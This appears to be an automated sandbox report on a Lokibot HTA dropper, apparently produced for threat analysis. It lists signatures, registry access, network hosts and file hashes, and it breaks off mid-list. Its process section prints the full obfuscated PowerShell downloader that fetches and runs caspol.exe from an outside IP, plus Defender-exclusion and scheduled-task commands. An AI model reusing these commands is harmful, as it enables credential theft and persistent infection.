Analysis Overview
SHA256
11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182
Threat Level: Known bad
The file 11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182.hta was found to be: Known bad.
Malicious Activity Summary
Lokibot
Lokibot family
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Evasion via Device Credential Deployment
Downloads MZ/PE file
Checks computer location settings
Executes dropped EXE
Loads dropped DLL
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Scheduled Task/Job: Scheduled Task
outlook_win_path
Suspicious use of AdjustPrivilegeToken
outlook_office_path
Suspicious use of WriteProcessMemory
Modifies Internet Explorer settings
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-19 02:13
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-19 02:13
Reported
2024-11-19 02:15
Platform
win7-20240708-en
Max time kernel
133s
Max time network
143s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3048 set thread context of 1148 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182.hta"
C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
"C:\Windows\sYStem32\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe" "PowErShEll -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT ; INvoKe-eXPrEssIOn($(InvoKe-eXPRessIon('[sYsteM.tExT.eNcODing]'+[ChaR]0x3A+[cHAr]58+'utF8.GetstrIng([SYStEM.CoNVErT]'+[cHAr]58+[CHaR]58+'FROmbASE64STRinG('+[ChAR]34+'JFo3VE02ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFckRFZmluSXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnJwdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGaUVJdnlPaGJJcyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWVCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPZ2NBUnYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFo3VE02OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjEzNi8zNy9jYXNwb2wuZXhlIiwiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUiLDAsMCk7c1RBUlQtc0xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjYXNwb2wuZXhlIg=='+[CHAr]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yuimw6-o.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF171.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF170.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\pYSJOdJUV.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\pYSJOdJUV" /XML "C:\Users\Admin\AppData\Local\Temp\tmpA5FF.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp |
Files
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 821a81e771be65fe5954204db1940d16 |
| SHA1 | 538ae2032f6bab8c1c1ed2e68ccb7d251eaa99fd |
| SHA256 | 0e19f95bc58e413f146a01dd089b761725ac00ce7b48f8285cac491be0d088a0 |
| SHA512 | fc79fa09cf80e6e271a4b913b7258551c22651344008a5466180076822129bb11c3dcdcfd179ab48de7cce3e3c57e1cd8afae40783e4c8caa866ca6769f3f05d |
\??\c:\Users\Admin\AppData\Local\Temp\yuimw6-o.cmdline
| MD5 | 102a60e666c0d1086ff3c9e32b182e02 |
| SHA1 | 75bb8fb4d160feddf56a030335210770fb0e3ab9 |
| SHA256 | 995f8c3a0331cfdb8db587dbda38ba69c4948e8592d51c8eece66cd886e6a6ac |
| SHA512 | 46a9e5a197b65e784ec4dad44015af35c3db8c7c3b77a4d6695890f0c372b746dad3dab8090195305cc51f6c7296f5ed6ece79bcc1078ae94d5332b006bccc59 |
\??\c:\Users\Admin\AppData\Local\Temp\yuimw6-o.0.cs
| MD5 | f8419bbc398e1a2b134eec88b333f8f6 |
| SHA1 | 57ebba4cad00272da80b919df0908ec40f9be48a |
| SHA256 | 25fccfa20b9b6d921f804167f1637df00cdd3203af9c0313f99de7c6e9989db3 |
| SHA512 | b1f4044b7a62e1de69d8e4a8ebf4db6bb24fd40d486ec5e44bd3e6b835e62ef5078c79236ded9c21ce1b0acd3575acaf1908f4fcc6ee12f1fd5f7455c4b14674 |
\??\c:\Users\Admin\AppData\Local\Temp\CSCF170.tmp
| MD5 | fdb387ca27e2ece9af03ca86ac1eaaeb |
| SHA1 | 9a00a50a6170e22078c82362159af329a0f89e9d |
| SHA256 | dd8664c20f544fcabbf200920c8e349f8ee87d66ecf6c84a5ba507007b9bec07 |
| SHA512 | aa0e5c6e04a0eb7c0a30605b1e000ba725a20c2092098dd747d7935268dc5d6d30fffcc16448b92ebef6fca3b0d7ff1e4a58af1a36dd010ba711acd1e46a9feb |
C:\Users\Admin\AppData\Local\Temp\RESF171.tmp
| MD5 | 7da0c315186d515b9879e0aaa29c4079 |
| SHA1 | fe98f46571f9405f3fff1226b5b0a989cbe6cc2b |
| SHA256 | b4914d0c7cd64e2c57e207770c2d2a910310b9d949704c372ced33b1e9912158 |
| SHA512 | f27d9c45fd33e33ee4d7584431d34e1424354298acbc23dccf59cf79adb1cd1dc00edf7334346d6a8b3bc3b9f964f95df3c7abd60ea53b751d8c1b1346589f67 |
C:\Users\Admin\AppData\Local\Temp\yuimw6-o.dll
| MD5 | 9c009b633651fa2bcc7380066ed7a5ff |
| SHA1 | 885c854e81006873524bdb82ee25f71011a73363 |
| SHA256 | b2c124fa8a1c500ec0ea177a4383a5acf20bd75594dc50c6ac8e20b8e9e6bcab |
| SHA512 | e04b0d909fc2e0b08eabdbc39fa1471cb45dc0e93e9334092576af34f10deddb4771c70c032d628b245c9519d5c6830025ffed096a634d5b6fee05a743814855 |
C:\Users\Admin\AppData\Local\Temp\yuimw6-o.pdb
| MD5 | fa50cd9aca039796b38569e42c251468 |
| SHA1 | 9e8a1650f11f9bdf15c8738796e9ae87c4e0587a |
| SHA256 | 7f4f0a4798eaf09356f75bf39335b7939d73e63a49eb925651aaa6133589f32a |
| SHA512 | a3a8c50fa76efd386d207e496a1789d4231c82118bb9571c3e9858bf153d499685dd29708c3a426ad77bcf43b8fe419f84dbc481e91581fae9f40febcb17ff48 |
C:\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 318ff90d7a2797a041b836f7f8900f62 |
| SHA1 | fdda6afed7a1643ae353e7a635e6744c2b0a07d5 |
| SHA256 | 241d0df35796a2c2ae0ae4af70ef9e6571c23536fef35c1c0c172d703203a430 |
| SHA512 | 808942ba5db2e4d3d1d29a52c065acad4fcaae328dc43a3b977234f1b58d2838abf73d03b0992cd0f5ac4939e29f354c6c2ea25a4822a461b8ef74cec0eb3aac |
memory/3048-35-0x0000000000C70000-0x0000000000D04000-memory.dmp
memory/3048-36-0x0000000000960000-0x0000000000972000-memory.dmp
memory/3048-37-0x0000000004EF0000-0x0000000004F54000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmpA5FF.tmp
| MD5 | ca87c471a032441db525a366f9589d2b |
| SHA1 | 4a29befb8acf406b4c19fed78b6ded2c8371a780 |
| SHA256 | d56e225da24985c6a8d2b795907c7ef8aac344238939b4c785114c605b871a0c |
| SHA512 | 86846da01561807a9bc483960fe06848453927434a2a671365eeb51d58fd947b3caa65b05616ea2b20ce3f2f2cc07a60fd06f094be3f937c8182d0971c35b680 |
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
memory/1148-54-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1148-67-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1148-65-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1148-64-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1148-62-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1148-60-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1148-58-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1148-56-0x0000000000400000-0x00000000004A2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3551809350-4263495960-1443967649-1000\0f5007522459c86e95ffcc62f32308f1_5a410d66-f84f-4a6b-9b29-3982febe58d9
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3551809350-4263495960-1443967649-1000\0f5007522459c86e95ffcc62f32308f1_5a410d66-f84f-4a6b-9b29-3982febe58d9
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-19 02:13
Reported
2024-11-19 02:15
Platform
win10v2004-20241007-en
Max time kernel
138s
Max time network
149s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3392 set thread context of 2008 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
"C:\Windows\sYStem32\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe" "PowErShEll -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT ; INvoKe-eXPrEssIOn($(InvoKe-eXPRessIon('[sYsteM.tExT.eNcODing]'+[ChaR]0x3A+[cHAr]58+'utF8.GetstrIng([SYStEM.CoNVErT]'+[cHAr]58+[CHaR]58+'FROmbASE64STRinG('+[ChAR]34+'JFo3VE02ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFckRFZmluSXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnJwdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGaUVJdnlPaGJJcyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWVCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPZ2NBUnYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFo3VE02OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjEzNi8zNy9jYXNwb2wuZXhlIiwiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUiLDAsMCk7c1RBUlQtc0xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjYXNwb2wuZXhlIg=='+[CHAr]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3r12k2sf\3r12k2sf.cmdline"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC719.tmp" "c:\Users\Admin\AppData\Local\Temp\3r12k2sf\CSCEF7EBA91F50543469AF076C0231EAEEA.TMP"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
